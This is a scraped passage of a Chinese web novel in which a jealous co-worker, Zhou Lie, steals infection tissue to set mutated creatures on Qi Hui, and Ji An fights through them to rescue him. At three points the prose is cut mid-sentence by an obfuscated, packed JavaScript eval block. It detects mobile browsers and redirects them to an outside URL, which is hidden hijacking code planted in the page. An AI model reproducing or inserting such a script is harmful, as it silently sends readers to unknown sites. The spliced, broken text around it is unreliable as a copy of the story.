得到确认,汽车就启动,上了大路。行驶一段时间,祁洄就再次看到那片占地广阔的白色院区。 “等会做完检查,就先到我的值班室坐着,下班后我再带你回去。” 纪安扶着祁洄出来。他现在算是基本能走了,如果忽略一些细节的话,比如,姿势,速度等。 复查由观察中心的人员操作。纪安带着祁洄进去,对接的是个男生,叫秦五,是出了名的八卦小能手。 “纪安,我看他是坐你的车来的,”秦五把祁洄送进探测舱后,就过来嗅了嗅纪安,抽空闲聊起来,“你专门陪他过来?你和他是……” “朋友。”纪安堵住他八卦的开场白。 “哦——”秦五拖长音,点点头表示知道了。 探测舱是专门用来检查人体是否含有致畸原的,可以更进一步判定是否有变异。结果出来,是一如既往意料之中的正常,秦五开具检查单:“没异常,签个名就能离开了。” 看祁洄对着纸笔没有动静,秦五抬头,敲了敲空白处,再次重申:“签个名。” “我来。”纪安接过笔,帮祁洄写下名字。 两人离开。秦五望着他们的背影,一副不出我所料的神情,笑得意味深长:“大清早坐同个车,还同款香味,是普通朋友才怪。” 纪安领着祁洄去值班室。里面的空间挺大,放了办公桌和一排资料柜后,还有余地摆着一张小沙发和茶几,墙上也挂着台电视。 “坐,你走挺久了,休息下。”纪安打开电视,给他找消遣时间的娱乐项目,“如果觉得无聊可以看看。”说着将基本的操作说给他听。 “我有个会议要参加,结束就过来。”纪安推门出去,回头嘱咐,“不要到处乱跑。” 门掩上,办公室就剩了祁洄一人。电视屏幕上是蹦蹦跳跳的、五颜六色的卡通人物。纪安选的。那是给孩子看的动画片。祁洄因好奇看了有一会,才慢慢失去兴趣,转而打量起整间值班室。 桌面的笔筒、档案架、键盘鼠标等,都放得规规整整。祁洄慢慢地看,看到鼠标下的垫子,画着半截紫色的小花。他忽然伸出手指,推了下鼠标,使完整的图案露出来,是薰衣草。 又是这个东西。 “喂,你谁呀?”周列抱着资料扭门进来,就看到一个陌生的背影站在纪安的办公桌前。 祁洄转身,望向来人。 看清容貌后,周列登时睁大了眼。是他。那个被纪安亲自背到观察区的可疑男人。 周列立即皱眉,将祁洄上上下下打量了一遍。他没有之前那么狼狈,穿着笔挺的西装,干干净净的。这回是站着,周列才发觉他还挺高的。 “你鬼鬼祟祟在这里干什么?”周列走过去,暗自对比了下,发现比对方稍矮一点,越发生气,“这是工作地点,闲杂人等不能随便进来!” 不过话说出口,他就意识到不对。值班室内的电视在播放,没有纪安解锁,是打不开的。这就说明,他在这,是纪安知道并允许的。 这个认知使周列顿感郁结,他瞪了祁洄一眼,不耐烦地用胳膊肘推开他:“别挡路,我要放报告!” 祁洄莫名被他一撞,没留神,握着的手松开了点,药瓶就掉到地上,骨碌碌滚远了。 听到动静,周列低头去看。白色的药瓶撞到桌脚,就停住了。他眼珠一转,哼了声,抬脚就是一踢。瓶子被踹得撞上门,又弹回来,在地面转起圈圈。 祁洄看了眼地上的药瓶,再抬头看了眼周列,对他的行为很是费解。 从怀里一大撂报告中抽出一份搁到桌上后,周列就转身出去。他一面走,脚下一面踢,把药瓶一路踢到门外,才无辜地回头,举着怀里的资料,抱歉地说:“对不住,不小心弄掉你的东西了。不过我现在很忙,只好你自己捡了。” 说完他脚后移,再用力往前一踹,将药瓶踢飞到走廊里,就趾高气昂地走了。 祁洄皱眉,只觉莫名其妙。他扶着墙出去,外面是条很长的走廊,走廊尽头则是楼梯。 时间还早,这一块没什么人。祁洄一步步慢慢走,低头搜寻着药瓶的踪迹。走到楼梯口,又抓着扶栏下去,目光扫了一圈,这才看到药瓶——正好卡在楼梯窗户的滑轨窗框里。 他慢慢走下楼梯,走到最后一阶时,周列又抱着资料蹬蹬地跑上来,与祁洄碰了个正着。 周列一眼就看到了窗框里的药瓶,再抬头看了眼楼梯上的祁洄,不禁露出一个嘲讽的笑:“不是吧,我都跑了好几个地方了,你还没捡到啊,有这么远吗?” 敌意显而易见,祁洄面无表情地看着他。 周列洋洋得意,走到窗边,腾出一只手,拉开玻璃窗:“清洁阿姨真是的,窗户老是关,这样怎么透气呢?”说着,他的衣袖“不小心”蹭到药瓶,没了玻璃窗的防护,药瓶就被带了出去,掉出楼外。 “哎呀,我真是笨手笨脚的,又弄掉你的东西了。”周列捏着嗓子,故作无辜地说。说完,抱着资料继续上楼,走到祁洄身边时,特意停住,望着他,“我不是故意的,你不会怪我吧?” 祁洄依旧面无表情。 周列愈发得意,抬脚要走时,却忽然一个趔趄,身体失衡,大脸朝下,砰一声磕上了台阶:“嗷——” 在飘散纷扬的报告单中,祁洄收走探出的脚,淡然地继续下楼。 “你——你——你故意的!”周列爬起来,捂着青紫的额头,龇牙咧嘴地怒吼。 祁洄没理他,走自己的路。 周列气极,踩着满地的纸,怒气冲冲下楼,伸手扯住祁洄的后领,就要动手。 “干什么!” 纪安开完会议,上楼就看到周列要打祁洄,当即变脸,上去拽开了周列的手,把祁洄护到身后。 “他,他故意绊倒我!”周列恶人先告状,把受伤的额头露出给纪安看,“他害我磕到台阶,你看,都青了!都是他的错!” 纪安回头,看着祁洄,询问:“真的?” 祁洄整整被弄皱的衣服,才说:“他踢掉了药瓶。” “是他自己不小心弄掉的,”周列着急辩解,“我只是无意中踢到一脚,他就怪我……” “掉哪了?”纪安没听周列的话,转身问祁洄。 祁洄指了指窗户:“外面。” “我不是故意的,纪安……”被忽略,周列又继续解释。 “停。”纪安懒得跟他掰扯,截住他的话头,转而匆匆下楼,要去拿回药瓶。 刚下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150110|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个台阶,突然想到什么,就又回过身来,抓过祁洄的手,把他扛到背上,再往楼下跑。 周列看见,气红了眼,狠狠踢开地面的纸张。 “……我能走了。”祁洄有些别扭,抬起上身,避免跟她相贴。 “你走太慢了。”纪安直接否定,“拿回来要紧。” “我在这等你。”祁洄还在挣扎。 “别乱动,等下摔了。”纪安拍了下他大腿,才解释说,“留在这,你就又给他欺负了。” 祁洄一听,动作一滞,显然没想到是因为这个。 到了楼下,纪安才放下祁洄,将他安置在户外椅上,自己就搜查起来。 楼梯窗户外是一片休闲绿地,只有少数几个人在散步。幸好药瓶是白色的,在草地上并不难找。 纪安找了几分钟。这时,余光瞟见左边一个人,穿着白大褂,腋下夹着一本厚厚的百科全书。那人走着,忽然就顿住,接着挪开脚,低头看了眼,就弯腰捡起,在阳光下举着,眯起眼审视。 是药瓶。 “你好,那是我丢了的。我在找它。”纪安走过去,向那位陌生的女人说。 听到声音,女人微微侧身,看向纪安。 是她。 纪安面色一怔。此人胸前口袋处,别着一张名片,写着“首都畸变物管控所森礼”。她就是那位研发了滞缓剂的森礼博士,前几天刚从首都过来。 纪安仔细端详起她的脸,和小时候没有多大的变化,依然是那张冷酷的厌世脸。按下久别重逢的感慨,纪安伸手以示友好:“森博士,久仰大名。” 森礼淡淡的眼睛看了下纪安,又看了下手中的药瓶,轻轻摇了摇,问:“你的?” “是,在楼上不小心掉下来了。”纪安靠近,伸手准备拿回。 森礼听了,却是退开一步,弯腰,将药瓶放回草地上,就在原先的位置。是不想与她接触的意思。随后,夹着书,大步离开。 纪安被她的行为弄得有些发懵,有点不习惯被这样对待。恍惚了一阵,才清醒过来。 是了,她现在是“纪安”,不是“森仪”。 森礼对待别人向来都是这副冷淡的态度。想明白,纪安收起心绪,捡起药瓶,扭开盖子看,一枚金鳞孤零零地躺在里面。 转身欲走时,阳光正好射进她眼中。纪安眯了下眼,忽然意识到什么,就又拿起药瓶,放在阳光下细看。在明亮的光线中,不用打开,也能透过白色的瓶身,看到里头躺着的一枚模糊的不规则物品…… 纪安垂眸,再次望向森礼离去的方向。她为了避开来跟她打招呼的人群,特意弯来绕去的,走了一条蜿蜒的路。 她也看见了吗? 纪安暗自记下。回去找祁洄,将药瓶装进他西装内袋里,拉上拉链,拍了拍:“小心保管,别再丢了。” 楼上,周列探出窗外,看到祁洄受到纪安的特别照顾,恨恨地咬了咬牙。 “小舅子,看什么?”秦五经过,好奇地凑过去,看到楼下两人后,瞬间明了,怜悯地拍拍周列的肩膀,“你没机会了,别看了。” “什么意思?”周列瞪他。 秦五就将清早检查的事,以及自己的猜测一股脑说了,最后总结道:“他们关系不简单,绝对同居了。”丢完结论,秦五就走了。 周列脸色乍变,想起之前种种蛛丝马迹,纪安夸他好看,还背了他两回,甚至为了他冷待自己。想着,就怒火攻心,指节扣紧了窗框。 他低头,凝着楼下祁洄的背影,冷声低语:“我一定要除掉你。” 11. 第11章-大改 周列弯腰,捡起散落满地的报告单,收好后,前往自己的工作地点——畸变物感染灶看管中心。 每头畸变物都存在一个感染灶,即那条神秘的银线标志物。这些畸变物拥有极强的再生能力,受到重创也能以各自不同的速度恢复。只有剔除感染灶,才能彻底瓦解它们。 而切下来的感染灶还存在一个麻烦的问题——它能自行传染。如果有动物接触到,也会异变成怪物。 因此,还未处理的感染灶都会被严格保存在收容盒中,盒里充满滞缓剂,可以降低它们的活跃度。看管员的工作就是管理这些收容盒,并运输给研究队做实验。 周列正是一名看管员。他借助例行检查的便利,进入冷冻室,找到监控死角,用小刀挖出一点感染灶的碎肉末,装进收容盒里带了出去。 *** 祁洄再次被纪安领回值班室。 “他为什么要踢你的药瓶?”纪安一边看桌上的报告,一边问起事情的起因经过,“你们起冲突了?” 将事情从头到尾梳理一遍,祁洄也不明白周列行为的用意何在,只觉此人对自己存着莫名的敌意。 “不知道。” 看他一副无所谓的态度,纪安想,大概是口角摩擦之类的小事,也就不管了,叠好报告,“我还有工作要处理。你留在这,把门锁上。要是周列又来,就别让他进。” 说着,就教他怎么锁门,看他掌握了,纪安才离开。 *** 纪安所在的清缴三队,队员全都穿好作战服,统一前往感染灶处理实验室。 “你终于回来了,”赵莉与纪安并肩走,“出什么事了?你很少请这么长时间的假。” “处理些私事。”纪安回。 赵莉摸摸鼻子,知道这是她不想细说的托词,却还是热络地搭上纪安的肩膀:“如果有我能帮上忙的,一定要跟我说。” “好,谢谢。” “你总是这么客气。” 说话间,就到了目的地。整队都进了实验室,队员分散开,到各自的位置上站岗。每隔一段距离就站一人,将整间实验室团团围护起来。 过一会,看管队运来了本次清缴获取的畸变物感染灶,摆放到实验台上,由身穿白大褂的研究队成员处理。 研究队的任务,就是将感染灶绞碎分解,提炼出里面的致畸原。这项工作并不容易,稍不注意就会造成信息素的泄露。为免意外发生,每次处理时,都需要清缴队在旁。 纪安站在窗边,迎面就看到森礼走来。她也参与此次的提炼工作。 “森博士,又见面了。”纪安主动搭话。 森礼却没有任何回应,仿佛没听见。她站在实验台边,盯着手里血淋淋的残肉,目光灼热,似乎她的世界只剩下这些感染灶。 还是和以前一样。 纪安望着她的侧脸,思绪飘到了八年前。 …… 隔着蓝汪汪的池水,十五岁的森礼站在池边,荡漾的水波将她的身影晃得模糊而缥缈。 “你可以出来吗?”森礼在池边蹲下,对着池面说话,“我没有告诉别人关于你的存在,以后也不会说,永远都不会说,这是我给你的承诺。” “可以出来一下吗?” “你好特别,我想摸摸看。” “你不是怪物,你很好,很好。” 时隔多年的话语至今想起,仍旧有一股暖流,向全身涌走,带起心头的震颤。 纪安看着森礼埋头工作的神情,大概只有她,在亲眼见过自己的异变后,还愿意保守秘密,甚至提出做永远的亲人这样天真的话。 想着,纪安不由看向对面的赵莉。她目不转睛盯着自己的守备范围,手搭在腰侧的长刀上,保持着随时出鞘的姿势,认真得与她在观察室睡觉摸鱼的样子判若两人。赵莉的家人死于当年红阳村的异变,她很痛恨畸变物。 当她知道自己的真实身份后,这段友情就该结束了吧。纪安神色黯然,移开了视线。 *** 周列快步走,一手插在衣兜里,紧握着偷窃来的收容盒。他先去了观察中心,找到秦五,说,“你去把那个叫什么许复的带到后山的实验区。” “为什么?”秦五疑惑,“那边老早就废弃了。” “别管这么多,”周列不耐烦地说,“到底帮不帮,你去红灯区的事我可没告诉我姐……” “停停停,”秦五忙捂住他的嘴,声音不由变虚,“真是怕了你了——我怎么带他过去,他又不信我。” “你就说是纪安叫的。” 秦五叹口气,不得不替他去办,边走,边拿眼瞟他,探探口风,“你打算做什么?” “这你不用管。” “打一顿出出气就成了,别太狠。” “我有分寸。”周列冷笑。 两人半道分开了。周列先去了废弃的实验楼。秦五则去纪安的值班室,到了门口,门关着,扭了两下门把,被锁了,打不开。 里面的祁洄发觉动静,看向门口。 “许复先生,您在里面吗?”秦五说,“纪安叫我带您去和她会合。” 秦五的声音祁洄认得。默了片刻,就站起,去开了门。 看到目标人物,秦五继续瞎扯,“刚刚我碰到她,她急匆匆吩咐我的,可能有什么急事。” “去哪?” “跟我来。” 倒是意料之外的顺利。秦五暗想,面上却带着笑,在前头引路,耐心地配合祁洄的速度。 实验楼离得不远。这一片曾经是研究队的办公区域,但因发生过信息素泄露事件,造成不少动物畸变,这里就暂时废弃了。 “你进去,往里走,有个大厅,”秦五指着黑黝黝的门口,“纪安在里面等你。” 祁洄站定,望了望眼前的建筑物,墙体破烂,门窗损坏,碎石满地,荒无人烟。回头,看定秦五,语气听不出情绪,“她在里面?” “在里面!”秦五已经走回头路了,边走边挥手,示意他进去,“别让她等久了!” 秦五走远。祁洄站了会,才缓步踏进,一面走,一面看,里边也是同样的混乱,墙壁地面染着不知名的粘液,红的绿的黄的,都干涸许久了;桌椅器具,倒的倒,坏的坏,乱七八糟占据着通道。 绕过,走了好一阵子,才到里边的大厅。环顾四周,只有些蛇虫鼠蚁盘踞着,没看到纪安,就有些了然了。 “找纪安?”二楼传来声音。 祁洄抬头,就看到周列站在二楼栏杆处,阴恻恻地瞪着他。手里抓着个吊杆似的东西,尽头是一条线,绑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150111|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个盒子,正摇来晃去的。 “你是个什么东西!”周列鄙夷地打量他,“怎么配跟我抢纪安!” 祁洄不为所动,单纯看他,那眼神,像在观察,观察一个行为举止有些奇特的小丑。 “哼,”周列被他那副冷淡的态度刺到,阴笑一声,“算了,跟你计较什么呢,反正你就要消失了。” 说完,吊杆一挥,那个不明盒子就甩落下来。里面的东西啪嗒一声砸到地面,祁洄看去,是一块腐烂的肉。有熟悉的气味,上面残留着他的信息素。这块肉,曾经属于失控的役兽。 “去死吧。” 留下一句诅咒,周列就抓住绳子翻到楼外去了。他前脚刚离开,后脚就是“砰”一声,无数虫怪乍然出现,其中一条庞大的蛇尾,当空一扫,直直打向祁洄。 嘭—— 一声巨大声响,伴着燎起的沙尘,灰蒙蒙一片里,地面骤然溅落一滩鲜血。祁洄被撞到墙壁上,捂住胸口,又闷声咳出一口血,接着踉跄几步,撑不住,靠着墙,慢慢滑坐在地。 虽然受了重创,表情倒是没什么变化。缓缓抬眼,环顾,周围聚拢着一大批役兽,狂暴的,失控的,正虎视眈眈地朝他逼近。 …… 当研究队的提炼实验告一段落,纪安也结束了工作。然而,回到值班室,却没看到祁洄。心口骤然一紧,脚步急转,当即去找周列。 “我鬼知道他去哪了!”周列在看管中心,受纪安逼问,又怒又委屈,“那么大个人,不见了关我什么事!” “靠!你都干啥了!那边怎么出现畸——嘶——”秦五急匆匆闯进来,不料撞见纪安,慌忙闭嘴,却不慎咬到自己舌头,疼得大张嘴吸气。 “畸变物?”纪安脸色一凛,抓过秦五的领口,“什么畸变物,说清楚!” “哪有畸变物!”周列有些慌,“纪安,你听错了。” “说!” “就,”秦五被揪着衣领提起来,憋得一张脸又红又紫,“就在废弃实验区……那个许复在里……”没说完,被纪安一掼,丢一边去了。 “纪安!你别去!”周列慌忙追出去。 …… “……听我……命令。” 祁洄白着张脸,眼眸一变,浮出脖侧的两条银色竖线。凝神,银线里,有细微的光缓缓流动。他朝空中释放出自己的信息素——这段时日修复累积起来的。 淡淡的柑橘香气,向四周扩散。 前一秒还处于攻击状态的役兽,此刻都倏然平静下来,听话地往后挪开,松开了对祁洄的包围圈。很快,让出了一条通道。 扶着墙壁,祁洄站起,牵扯到受伤的腰腹,喉头一紧,又咳了些血。平静地拿手背擦掉,就慢慢往外走,他得在信息素用完之前,离开这里。 经过窗边,脚下忽停。外头一前一后赶来了两个人。是纪安,和那个男的。 “纪安,你别去,里面危险!” “你最好祈祷他没事!”纪安冷脸甩开他的手,一面往里赶,一面通知清缴队。 周列在外边焦急地转来转去,最后一跺脚,也跟着纪安进去。 她来了。 祁洄默默站了会,又看了眼旁边暂时听话的役兽,临时改了主意—— 现在,不正是夺金鳞的时机? 12. 第12章-大改 “纪安!”周列紧追着已经进去的人,双眼不停警惕着周边的环境,虽然心里忐忑,但还是硬着头皮跟了进去,声音发抖,“纪安,你快出来吧!” 无视身后人的苦苦哀求,纪安一路深入,握紧了随身的佩刀,目光凛凛,一寸寸扫过去,搜寻着祁洄的身影。 忽然,脚步一顿,停了下来。 前方,黑暗中,闪起一排排绿幽幽的光。渐渐的,那些光点越来越近,终于,踏出黑暗,显露出它们的面貌——一群变异了的高脚蜘蛛。数量之多,地面、墙壁、天花板,都被爬满了,浩浩荡荡地向纪安逼近。 “啊——”周列跟来,看到密密麻麻的异变蜘蛛,失声发出惊叫,慌忙扯住纪安的手臂,拉着就要往外逃,“太多了!快走!他肯定早就死了!” 唰一声,纪安抽出了佩刀,挣开周列的拉扯,目光凝着面前的蜘蛛大军,“自己走,我不会管你的。” 说罢,刀光骤闪。周列没拉住,人已经冲过去了,当下急得眼泪就夺眶而出,连忙呼叫救援,眼睛则一直紧跟着纪安。 只见她身手敏捷,在耸立的一根根蜘蛛刺脚下,闪躲挪移,劈斩挥刺,所过之境,都砰砰一连摔倒大批蜘蛛。她的目的不在清缴,而是力求以最快的速度,通过这批碍事的挡路者,得以去往后方,解救失踪的人。 异变蜘蛛的感染灶未被剔除,被削断的腿,切口冒烟,不一会儿,又重新长出了。细长的腿支撑起硕大的身躯,却都一齐笨拙地转了个弯,又向纪安而去。 它们…… 纪安一边赶,一边回头,那些蜘蛛竟跟着她过来了。不禁蹙眉,它们,似乎拥有目标。想着,跳到高处,往后眺望,周列站在原地双腿颤颤,却硬是一只蜘蛛都没过去。 这不合常理。 以她多年与畸变物缠斗的经验,它们都是无目的无意识地肆意破坏,凡是碰到活口,都不放过。根本不会出现这种情况。更何况,比起她,周列明显离它们更近。为什么舍近求远,来追赶她? 倏然,数条白丝朝她袭来。思考中断。纪安忙挥刀切断,再一跳,跃到隔壁的横梁上。这种异变蜘蛛纪安以前见过,它们吐出的丝十分坚韧,还兼具毒性,若是碰到皮肤,就会遭受麻痹与腐蚀。 幸而她还穿着作战服,能阻隔一些侵蚀。想到这,不禁更加担忧。他没有任何防护,行动又不便,落到这种地方,恐怕凶多吉少。心里揪紧,焦虑都化作行动力,一刀刀砍向袭来的蜘蛛丝,劈开一条出路。 “祁洄!”她喊。 深处,祁洄隐于黑暗中。原本平静的瞳孔,因她的呼喊,而微微起了波动。 蜘蛛紧追不舍,丝线缠绕,铺天盖地。缠斗间,暗处又猛地蹿出一条巨蟒,张着血盆大口,袭击而来。纪安忙闪身,随即抓住时机,攀上蛇尾,一眼看到蛇身一条闪烁的银线,眼疾手快,一刀刺下,挖掉了感染灶,随手塞进收容盒里。 “咳——” 祁洄捂住脖侧,压下传来的刺痛,脸色白了白,吐出口中的鲜血。气味腺隐隐作痛,信息素已将告急。随即,摸向口袋,取出纪安给他的金鳞,服下。 这边,蜘蛛丝越发汹涌。纪安烦躁至极,跳到蜘蛛背上,搜寻感染灶,一只一块,下手又快又狠,一连数下,将不知死活扑来的蜘蛛尽数剔除。 痛楚接二连三传导而来。祁洄踉跄着后退几步,背靠住墙,按住抽痛的脖侧,皱眉,喘着气。 纪安装好感染灶,就发觉后边的蜘蛛,忽然动作一顿一顿的,甚至莫名其妙地原地转起圈来,像骤然失了方向。 但这点异常转眼消失。 卡顿过后,数双眼睛瞬间更闪更亮。最后的蜘蛛,转动高脚,竟朝周列过去了。周列一见,吓得面如土色,傻愣了会,当即拔腿就往外跑。 而眼前,幸存的蜘蛛迈过同伴的尸体,一部分围向纪安,一部分,却朝里边爬去。 里边,也有它们要攻击的目标。 认识到这一点,纪安心口一跳,祁洄在里面!不再耽搁,脚下加快,一路砍,一路追着前方的蜘蛛。 然而这时,却有更多的畸变物从四面八方涌动过来,啃食的鼠、蠕动的虫、飞天的蟑螂……都一齐出动,混乱,拥挤,但都朝着同个方向——里边。 这些畸变物,方才,都一直蛰伏着? 纪安锁眉,今日畸变物的行为,打破了她一直以来建立的认知。但此时不容她细思,挥砍不停,畸变物的断肢、毒液、脑浆,糊了一地。她自己也没占多少便宜,作战服已添了数道红痕,被血染的。 转过弯,心口登时一刺。 前方墙角边,歪坐着她记挂的人。垂着头,看不清脸。蜘蛛丝缠了他半身,还有些畸变物,咬在他的手臂上,似乎在啃食。地面,漫开一滩血。 呼吸一滞,怒火骤起。刀光凌乱,刀刀致命,挡路的畸变物,被一劈为二,血浆如雨。 模糊的视线,望见熟悉的人,朝他而来。攀在身上的役兽,被剜掉挑开;缠绕的蛛丝,被根根割断。 “祁洄?”纪安摸上他的脸颊。 他微微抬眸,朝她看来,目光有些涣散。还有意识。纪安慌忙扯出香袋,急急抖出来,也不知道抖了多少,只连忙捏开他的嘴,通通给喂进去。 不知是因为失了力气,还是因为别的什么,祁洄不再反应过激,任由她的手指在口腔里进进出出,任由她血液的气味铺天盖地侵染,蔓延,与他混合。 脑海里,只剩一个念头—— 她知道,她在救一个攻击她的人么? 看他因失血过多苍白的唇,逐渐恢复了血色。纪安才松口气,目光移到他身上,不禁心疼地皱紧双眉。他的双臂被啃咬过,血肉外翻,触目惊心;衣裤被蜘蛛丝侵蚀,原本白皙的皮肤被勒出道道血痕,紫红一片。他受了很多罪。 “撑着点,”纪安忙脱下自己的防护服,给他严实地裹上,“我会带你出去的。”说完,小心翼翼地把他背到身上,拿绳子绑紧了。 外界野兽的咆哮被自动屏蔽。无限的静谧中,祁洄贴着纪安的背部,听到了她心脏的跳动声,扑通、扑通,一声声,坚定而有力地,震进他的心房。 为什么? 眼前的世界在跳跃,在奔跑。祁洄被带着,在狂乱的役兽之间穿梭而过,血浆、毒液,像雨点般砸落,落在她紧绷的手臂上,燎出一串血泡;而他,却因着一层温暖的防护,分毫未伤。 外界什么的,浑然不觉。他眼里只有那只受伤的手臂,灼伤的地方已经溃烂,淌出了脓水。紧抿的薄唇动了动,他用气音,低喃道:“你……受伤了。” 声音虚虚的,却因靠得近,纪安听得分明。心下一喜,分神询问起他的状态:“你清醒了?好些了吗?” 答非所问。 短暂的对话被紧跟来的攻击打断。纪安又陷入战斗中。祁洄仍定定地望着她的手臂,看着它又添上新的伤口,看着它绽开皮肉,滴落鲜血…… “你……受伤了。”他重复起被忽略的话。 “不碍事,”纪安安抚他,“我们能出去。” 祁洄一默。他话里的意思并未能如实地传递给她。她反过来安慰他,以为他担心出不去。似乎为了使他安心,她劈砍的速度更快,浑不在意自己的伤。 为什么…… *** 作战机的轰鸣声在外边响起,紧接着,像炮弹炸开似的,响起一声声剧鸣,随之而来的,是漫天的淡紫色烟雾,从破墙、从窗口,弥漫进来,笼罩了整个空间。 清缴队到场了。 周列被变异蜘蛛踩住的瞬间,赵莉破墙而入,一刀剜掉了感染灶。死里逃生,周列泪水横流,指着里边,焦急催道:“快!快去救纪安!她还在里面!” 话音刚落,就愣住了。手指所指的方向,烟雾里,急急冲出一人。看身形,是纪安! “呜呜,纪安,你还活着,你还……”周列当即又哭又笑,跌跌撞撞奔过去,就要抱她。 没扑上,被赵莉一把扯开了:“滚一边去!没看到她受伤了吗,碰什么碰!” “医护队!医护队!”赵莉转向后方高声嚷起,又招呼其他队员,回收满地的畸变物,排查善后。 周列一愣,再定睛一看,纪安没了作战服,浑身是血,露出的肌肤被腐蚀,一片溃烂。一时手足无措,为自己的计策意外害了纪安而懊悔:“我……我不知道会伤到你……” 慌忙走近,却目光一动,扫到纪安背后,此刻才发觉她还背了个人。那人披着纪安的作战服,脑袋埋在她的肩头。熟悉的画面,周列顿受刺激,是那个男的!他竟然还活着! 想到纪安身上的伤,再想到自己刚刚经受的恐惧,一时怒不可遏,歇斯底里地冲上前,指着祁洄,骂道:“是你!都是你害的!”吼完,还要动手,却被纪安一刀抵住了胸口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150112|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……纪安?”周列霎时周身冰冷,颇有些受伤地看她。 “到底是谁害的?”纪安冷眼。 “当然是他!”周列红着眼眶,“要不是为了去找他,你根本就不会受伤——我为你好,你还护着他!” 周边吵闹的杂声不断,处于话题中心的祁洄却听不进耳,只伏在纪安肩头,默然凝望着她滴血的手臂。 “你个神经!”赵莉烦躁地推开周列,带着医护人员上前,“现在是吵架的时候?治伤要紧!” “我没事,”纪安按住赵莉,冷眼转向周列,“这些畸变物是你造成的?” 此话落地,一片哗然。擅自偷取感染灶等管控品,最低也会被革职判刑,去牢房蹲个三年五载的。这些危险品并非金银珠宝,正常人躲都躲不及,可干不来这等赔本买卖。 周列脸色一白,却仍嘴硬不肯承认:“怎么认定是我?你听谁说——他吗?”说完瞪向祁洄,故意栽赃:“这里只有他在场,指不定是他造成的!” 拙劣的谎言令人发笑。 “有缉查组调查,真相自然会水落石出,”纪安收了刀,将刚才缴获的感染灶并收容盒交予赵莉,再转向周列,目光坚定,“我能确定,绝不是他。” “行了行了,这事归别人管,你就别操心了。”赵莉记挂着纪安的伤势,催她走,“你看看你都成什么样了,还不赶快包扎——这人我来背!” “好,我这就去。”纪安应话,挡住了赵莉伸来的手,背着祁洄往外走。 “为什么信他不信我!”周列眼眶通红,不甘地追问,“明明我认识你更久!” 看着远去的人依旧远去,没有为他停留。周列攥拳,忍无可忍,破罐破摔,坦白了自己的所作所为:“对!是我做的!是我偷了感染灶!” 在意的人终于如他所愿,停下脚步,却是冷眼回望:“为什么这么做?” “我要他死。”周列阴森森地瞪着祁洄,咬牙切齿。 又是那种眼神。 祁洄不解,探究着周列的表情。那是陌生的眼神,隐匿着陌生的情绪,他无法探明的情绪。毕竟,此时的他,还不能很好地理解这种名为“嫉妒”的心情。 “我讨厌他!”周列恨恨地说,“他比我更受你的关注,明明我先来的,他却把你抢走了!” 纪安听了,大致猜到了什么。眉头皱得更深,不再搭理他,转身就走。 “我喜欢你。”周列慌忙开口。 陌生的词汇。祁洄抬眸,望向纪安的侧脸,她的表情没多少变化。只微微侧身,对着后方,不带丝毫感情地回:“抱歉,我受不起。” 不知怎的,祁洄回头,去看周列的表情。他的脸惨白惨白的,呆呆立在原地,满面都是泪水。 “别乱动,小心摔了。”察觉到他的动作,纪安温声提醒,抓着他的手腕,将他背紧了。 她对他们两个的态度,天差地别。 祁洄隐隐地,意识到了自己所拥有的偏爱。却不知,在不久的将来,他也会面临地位翻转的一天,赴周列的后尘,成为不被选择的那方。 …… 医务室内。 纪安取下祁洄身上的防护服,再小心卷起他的衣服,检查他身上的伤势。一口气吃了多枚金鳞后,他伤口恢复得极快,破损的皮肤都已愈合,只还暂时残留着一些疤痕,昭示着曾经受伤的事实。 “很好,”纪安放下心,“都恢复得差不多了。” 然而她自己却在滴血。祁洄默默地看着纪安。 确认他没事后,她才转过去,清理起自己的创面,消毒,再上药,最后用牙咬住绷带,配合另一只手,熟练地包扎好。 “你为什么不吃?”祁洄突然问。 知道他指什么,纪安回,“普通的伤没必要吃。” “为什么我可以吃?”他追问。 “你更需要。”纪安指着他满是血污的衣服,“伤这么重,再不吃命可就没了。” 沉默了一会,祁洄看向搁在椅背的防护服,又问,“为什么……给我穿?” 纪安不由轻笑:“你今天怎么这么多为什么?” “为什么?”他坚持。 “因为,你更需要。” 她的回答,往他的心海投下一颗石子,荡开了起伏不定的涟漪。祁洄凝着纪安的背影,久久沉默。 如果知道是我在攻击她,她,又会有什么反应…… 13. 第13章-大改 周列被革职判刑是在事情发生的三天后。纪安收到通报的时候,正与祁洄吃着早餐,就随口也告诉他一声:“那个害你的人,已经受处罚了。” “哦。”祁洄淡淡应了声,不太在意。倒是,过了会,去看纪安的脸色,没瞧出有什么变化。 “怎么了?”纪安察觉到他的目光。 沉默了下,他说,“你不担心他?” “哈?”纪安错愕,“我担心他做什么?” “……他看上去,很在乎你。” “那又怎样,”纪安冷笑,“他不该伤害你。” 